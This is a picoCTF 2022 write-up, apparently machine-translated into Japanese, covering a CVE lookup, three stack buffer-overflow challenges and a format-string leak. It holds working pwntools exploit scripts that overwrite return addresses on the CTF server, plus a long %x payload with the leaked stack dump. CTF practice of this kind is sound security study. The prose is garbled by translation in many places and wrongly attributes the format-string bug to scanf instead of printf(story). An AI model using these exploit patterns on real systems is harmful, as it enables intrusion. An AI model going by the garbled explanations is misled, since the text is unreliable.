CTFライトアップ:Picoctf


私のpicoctf 2022の書き込みは、次のセクションに分割されます.
picoctf 2022で解決された二重開発課題は次のとおりです.

目次


  • 100 points
  • CVE-XXXX-XXXX
  • buffer overflow 0

  • 200 points
  • buffer overflow 1

  • 300 points
  • buffer overflow 2
  • flag leak
  • 私のすべてのwriteupsもmy GitHub's CTFwriteups repository

    ( CVE - XXXX - XXXX )

    The challenge is the following,


    だから見上げたremote code execution windows print spooler 2021 グーグル上でsite from Microsoft that listed vulnerabilities .

    私は、これがWindowsプリントスプーラサービスで2021年に最初に記録されたリモートコード実行脆弱性であったのを見ましたCVE-2021-34527 私が探していたCveでした.
    したがって、フラグは以下の通りである.picoCTF{CVE-2021-34527}

    バッファオーバーフロー0

    The challenge is the following,


    実行可能ファイルも与えられますvuln とソースコードvuln.c ,
    1. #include <stdio.h>
    2. #include <stdlib.h>
    3. #include <string.h>
    4. #include <signal.h>
    5. 
    6. #define FLAGSIZE_MAX 64
    7. 
    8. char flag[FLAGSIZE_MAX];
    9. 
    10. void sigsegv_handler(int sig) {
    11.   printf("%s\n", flag);
    12.   fflush(stdout);
    13.   exit(1);
    14. }
    15. 
    16. void vuln(char *input){
    17.   char buf2[16];
    18.   strcpy(buf2, input);
    19. }
    20. 
    21. int main(int argc, char **argv){
    22.   
    23.   FILE *f = fopen("flag.txt","r");
    24.   if (f == NULL) {
    25.     printf("%s %s", "Please create 'flag.txt' in this directory with your",
    26.                     "own debugging flag.\n");
    27.     exit(0);
    28.   }
    29.   
    30.   fgets(flag,FLAGSIZE_MAX,f);
    31.   signal(SIGSEGV, sigsegv_handler); // Set up signal handler
    32.   
    33.   gid_t gid = getegid();
    34.   setresgid(gid, gid, gid);
    35. 
    36. 
    37.   printf("Input: ");
    38.   fflush(stdout);
    39.   char buf1[100];
    40.   gets(buf1); 
    41.   vuln(buf1);
    42.   printf("The program will exit now\n");
    43.   return 0;
    44. }
    
    
    
    私はそれを見たgets(buf1) ライン40は、ユーザー入力を読みとるために用いる.そして、それはオーバーフローをチェックしないで、入力されるvuln(buf1) インライン41.
    私はそれを見たbuf2[16] ライン17のバッファvuln() を読み込むコードに20バイトでオーバーフローすることができますflag.txt 第23行から始めたので、20を用意しましたA , AAAAAAAAAAAAAAAAAAAA私はリモートサーバーに接続し、入力20A ,

    したがって、フラグは以下の通りである.picoCTF{ov3rfl0ws_ar3nt_that_bad_81929e72}

    バッファオーバーフロー1

    The challenge is the following,


    実行可能ファイルも与えられますvuln とソースコードvuln.c ,
    1.  #include <stdio.h>
    2.  #include <stdlib.h>
    3.  #include <string.h>
    4.  #include <unistd.h>
    5.  #include <sys/types.h>
    6.  #include "asm.h"
    7. 
    8.  #define BUFSIZE 32
    9.  #define FLAGSIZE 64
    10. 
    11. void win() {
    12.   char buf[FLAGSIZE];
    13.   FILE *f = fopen("flag.txt","r");
    14.   if (f == NULL) {
    15.     printf("%s %s", "Please create 'flag.txt' in this directory with your",
    16.                     "own debugging flag.\n");
    17.     exit(0);
    18.   }
    19. 
    20.   fgets(buf,FLAGSIZE,f);
    21.   printf(buf);
    22. }
    23. 
    24. void vuln(){
    25.   char buf[BUFSIZE];
    26.   gets(buf);
    27. 
    28.   printf("Okay, time to return... Fingers Crossed... Jumping to 0x%x\n", get_return_address());
    29. }
    30. 
    31. int main(int argc, char **argv){
    32. 
    33.   setvbuf(stdout, NULL, _IONBF, 0);
    34.   
    35.   gid_t gid = getegid();
    36.   setresgid(gid, gid, gid);
    37. 
    38.   puts("Please enter your string: ");
    39.   vuln();
    40.   return 0;
    41. }
    
    こちらです.gets() それは、オーバーフローをチェックしないので、脆弱な関数である26行目で使用されます.私はそれが機能win() フラグリーダーを含む関数です.使用するpwndbg 使用info functions .

    私はそれを見たwin() であった0x080491f6 , それで、これは私が上書きしたいリターンアドレスです.バッファをオーバーフローしてリターンアドレスを書き換えるために44バイトを使うことができますので、44のパディングを準備しましたA ,AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA私は、私が帰りのアドレスのためにEndiannessを交換する必要があると仮定しました.\xf6\x91\x04\x08それから、私はすべてを次の中に入れましたexploit.py ,
    from pwn import *
    
    #elf = context.binary = ELF("./vuln")
    context.arch = 'amd64'
    gs = '''
    continue
    '''
    
    def start(server=True):
            if(server):
                    return remote('saturn.picoctf.net', 53520)
            else:
    
                    return process(['./vuln'])
    
    io = start()
    
    #io.recvuntil(">>")
    a = "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
    a += "\xf6\x91\x04\x08"
    io.sendline(a)
    
    io.interactive()
    
    
    私はこのスクリプトを実行しました.

    したがって、フラグは以下の通りである.picoCTF{addr3ss3s_ar3_3asy_b9797671}

    バッファオーバーフロー2

    The challenge is the following,


    実行可能ファイルも与えられますvuln とソースコードvuln.c ,
    1.  #include <stdio.h>
    2.  #include <stdlib.h>
    3.  #include <string.h>
    4.  #include <unistd.h>
    5.  #include <sys/types.h>
    6. 
    7.  #define BUFSIZE 100
    8.  #define FLAGSIZE 64
    9. 
    10. void win(unsigned int arg1, unsigned int arg2) {
    11.   char buf[FLAGSIZE];
    12.   FILE *f = fopen("flag.txt","r");
    13.   if (f == NULL) {
    14.     printf("%s %s", "Please create 'flag.txt' in this directory with your",
    15.                     "own debugging flag.\n");
    16.     exit(0);
    17.   }
    18. 
    19.   fgets(buf,FLAGSIZE,f);
    20.   if (arg1 != 0xCAFEF00D)
    21.     return;
    22.   if (arg2 != 0xF00DF00D)
    23.     return;
    24.   printf(buf);
    25. }
    26. 
    27. void vuln(){
    28.   char buf[BUFSIZE];
    29.   gets(buf);
    30.   puts(buf);
    31. }
    32. 
    33. int main(int argc, char **argv){
    34. 
    35.   setvbuf(stdout, NULL, _IONBF, 0);
    36.   
    37.   gid_t gid = getegid();
    38.   setresgid(gid, gid, gid);
    39. 
    40.   puts("Please enter your string: ");
    41.   vuln();
    42.   return 0;
    43. }
    
    こちらです.gets() はライン29で使用されています.これは脆弱性をチェックしていないので、脆弱な関数です.私はそれが機能win() フラグリーダーを含む関数です.使用するpwndbg 使用info functions ライクbuffer overflow 1 .

    私はそれを見たwin() であった0x08049296 , それで、これは私がジャンプしたいリターンアドレスです.しかし、buffer overflow 1 , 私はまた引数を渡さなければならなかった0xCAFEF00D and 0xF00DF00Dwin() 線20および22がこれらのためにチェックするように、機能してください.
    ここで、私は、ライン28のバッファが戻りバイトを書き換えるために112バイトであふれることができるのを見ました.A ,a = 'A' * 112そして、アドレスにジャンプしたい0x08049296 そこでエンディアンを交換しました.a += "\x96\x92\x04\x08"
    私は入力パラメータをwin() ある0xCAFEF00D and 0xF00DF00D , そこで最初に4バイトのパディングを準備しました.a += "CCCC"それで準備した0xCAFEF00D エンディアンを交換することでa += "\x0d\xf0\xfe\xca"それで準備した0xF00DF00D エンディアンを交換することでa += "\x0d\xf0\x0d\xf0"私はすべてをまとめて以下にまとめるexploit2.py ,
    from pwn import *
    
    #elf = context.binary = ELF("./vuln")
    context.arch = 'amd64'
    gs = '''
    continue
    '''
    
    def start(server=True):
            if(server):
                    return remote('saturn.picoctf.net', 52578)
            else:
    
                    return process(['./vuln'])
    
    io = start()
    
    #io.recvuntil(">>")
    a = 'A' * 112
    a += "\x96\x92\x04\x08"
    a += "CCCC"
    a += "\x0d\xf0\xfe\xca"
    a += "\x0d\xf0\x0d\xf0"
    io.sendline(a)
    
    io.interactive()
    
    
    スクリプトを実行し、入力をリモートサーバに渡しました.

    したがって、フラグは以下の通りである.picoCTF{argum3nt5_4_d4yZ_eb489c7a}

    フラッグリーク

    The challenge is the following,


    実行可能ファイルも与えられますvuln とソースコードvuln.c ,
    1.  #include <stdio.h>
    2.  #include <stdlib.h>
    3.  #include <string.h>
    4.  #include <unistd.h>
    5.  #include <sys/types.h>
    6.  #include <wchar.h>
    7.  #include <locale.h>
    8. 
    9.  #define BUFSIZE 64
    10. #define FLAGSIZE 64
    11. 
    12. void readflag(char* buf, size_t len) {
    13.   FILE *f = fopen("flag.txt","r");
    14.   if (f == NULL) {
    15.     printf("%s %s", "Please create 'flag.txt' in this directory with your",
    16.                     "own debugging flag.\n");
    17.     exit(0);
    18.   }
    19. 
    20.   fgets(buf,len,f); // size bound read
    21. }
    22. 
    23. void vuln(){
    24.    char flag[BUFSIZE];
    25.    char story[128];
    26. 
    27.    readflag(flag, FLAGSIZE);
    28. 
    29.    printf("Tell me a story and then I'll tell you one >> ");
    30.    scanf("%127s", story);
    31.    printf("Here's a story - \n");
    32.    printf(story);
    33.    printf("\n");
    34. }
    35. 
    36. int main(int argc, char **argv){
    37. 
    38.   setvbuf(stdout, NULL, _IONBF, 0);
    39.   
    40.   // Set the gid to the effective gid
    41.   // this prevents /bin/sh from dropping the privileges
    42.   gid_t gid = getegid();
    43.   setresgid(gid, gid, gid);
    44.   vuln();
    45.   return 0;
    46. }
    47. 
    
    この問題はAに似ている.私は、その線30を見ましたscanf("%127s", story) メモリがリークされる形式の文字列脆弱性を持っています%x . だから私は先に行き、リモートサーバに接続して%x ,

    それは私を与えたffee0140 , それで、もっと試してみました.

    そしてさらに試してみました.
    %x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x
    

    それは私に与えた.
    fff2a990fff2a9b08049346782578257825782578257825782578257825782578257825782578257825782578257825782578257825782578257825782578257825782578257825782578257825782578257825782578257825782578257825782578257825782578257825782578257825782578257825782578257825782578257825782578252578256f6369707b4654436b34334c5f676e3167346c466666305f3474535f625f6b63653034387d393738fbad2000556b29000f7f4a990804c00080494100804c000fff2aa7880494182fff2ab24fff2ab300fff2aa9000f7d40ee5
    
    私は以下のセクションがASCIIであるかもしれないのを見ました.6f6369707b4654436b34334c5f676e3167346c466666305f3474535f625f6b63653034387d393738それで私は彼らの間にスペースを入れた.6f 63 69 70 7b 46 54 43 6b 34 33 4c 5f 67 6e 31 67 34 6c 46 66 66 30 5f 34 74 53 5f 62 5f 6b 63 65 30 34 38 7d 39 37 38そして、私はそれを16進から変換するためにサイバーシェフに行きました.

    これは旗のように見えましたが、慌ててしまいました.それで、私は、私がendiannessを交換しなければならないと仮定しました.

    したがって、フラグは以下の通りである.picoCTF{L34k1ng_Fl4g_0ff_St4ck_b840e879}